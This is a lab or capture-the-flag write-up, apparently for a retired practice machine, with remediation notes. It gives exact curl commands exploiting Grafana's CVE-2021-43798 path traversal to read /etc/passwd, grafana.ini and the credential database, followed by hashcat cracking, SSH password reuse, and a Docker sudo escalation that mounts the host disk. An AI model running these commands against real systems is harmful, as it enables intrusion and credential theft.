Data
Summary
I discovered an outdated Grafana monitoring instance (v8.0.0) exposed without authentication on port 3000. An unauthenticated path-traversal flaw (CVE-2021-43798) let any HTTP client read arbitrary files on the server, including the live SQLite credential database. Password hashes extracted from that database were cracked offline to recover the plaintext <withheld> for the account 'boris'.
That same password worked on the SSH service — a credential-reuse mistake — granting an interactive user shell and the user flag. Boris held unrestricted passwordless sudo rights to run Docker, a well-known privilege-escalation primitive: I used a running container with host block-device passthrough to mount the host's root partition from inside the container and read the root flag, fully compromising the system.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"
export HASH4="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Identify open ports and service banners.
$ nmap -sV -p 22,3000 $TARGETConfirm the exact Grafana version from the JSON response fields 'version' and 'commit'.
$ curl -s http://$TARGET:3000/api/healthExact commands 2
--path-as-is prevents curl from normalising the traversal dots. Successful response confirms the bug is exploitable.
$ curl -s --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"Read the Grafana config; reveals secret_key and any datasource credentials stored in plain text.
$ curl -s --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini"FixUpgrade Grafana immediately to patch CVE-2021-43798Critical
Exact commands 2
Download the live credential database in a single unauthenticated request.
$ curl -s --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o /tmp/gr.dbDump all user records; capture the password and salt columns for offline cracking.
$ sqlite3 /tmp/gr.db "select id,login,email,password,salt,is_admin from user;"Exact commands 2
Write the hash:salt pair in the format expected by Hashcat.
$ echo "$HASH:$HASH4" > /tmp/boris.hashMode 20 = sha256($salt.$pass). Verify the exact mode against your Grafana version if needed. Output: <withheld>.
$ hashcat -m 20 /tmp/boris.hash /usr/share/wordlists/rockyou.txtFixEnforce strong passwords and consider SSO with MFA for Grafana accountsHigh
Exact commands 2
Confirm SSH authentication succeeds with the cracked Grafana credential.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 boris@$TARGET 'id; hostname'Read the user flag: <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no boris@$TARGET 'cat /home/boris/user.txt'FixProhibit shared passwords between the monitoring platform and host OS accountsHigh
Exact commands 2
Run on the boris SSH session; look for NOPASSWD docker entries.
$ sudo -l
(ALL : ALL) NOPASSWD: /snap/bin/dockerList running containers to identify one suitable for exec; record the container ID for the next step.
$ sudo /snap/bin/docker psFixRemove unrestricted Docker sudo rights and adopt rootless container executionCritical
Exact commands 2
Enter the container as root and confirm the host block device is present. Replace e6ff5b1cbc85 with the container ID from step 6.
$ sudo /snap/bin/docker exec --privileged -u root e6ff5b1cbc85 /bin/sh -c 'id; ls -l /dev/sda*'Mount the host root partition and read the root flag: <root.txt>.
$ sudo /snap/bin/docker exec --privileged -u root e6ff5b1cbc85 /bin/sh -c 'mkdir -p /mnt/host && mount /dev/sda1 /mnt/host && cat /mnt/host/root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) |
| 3000/tcp | http Grafana http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.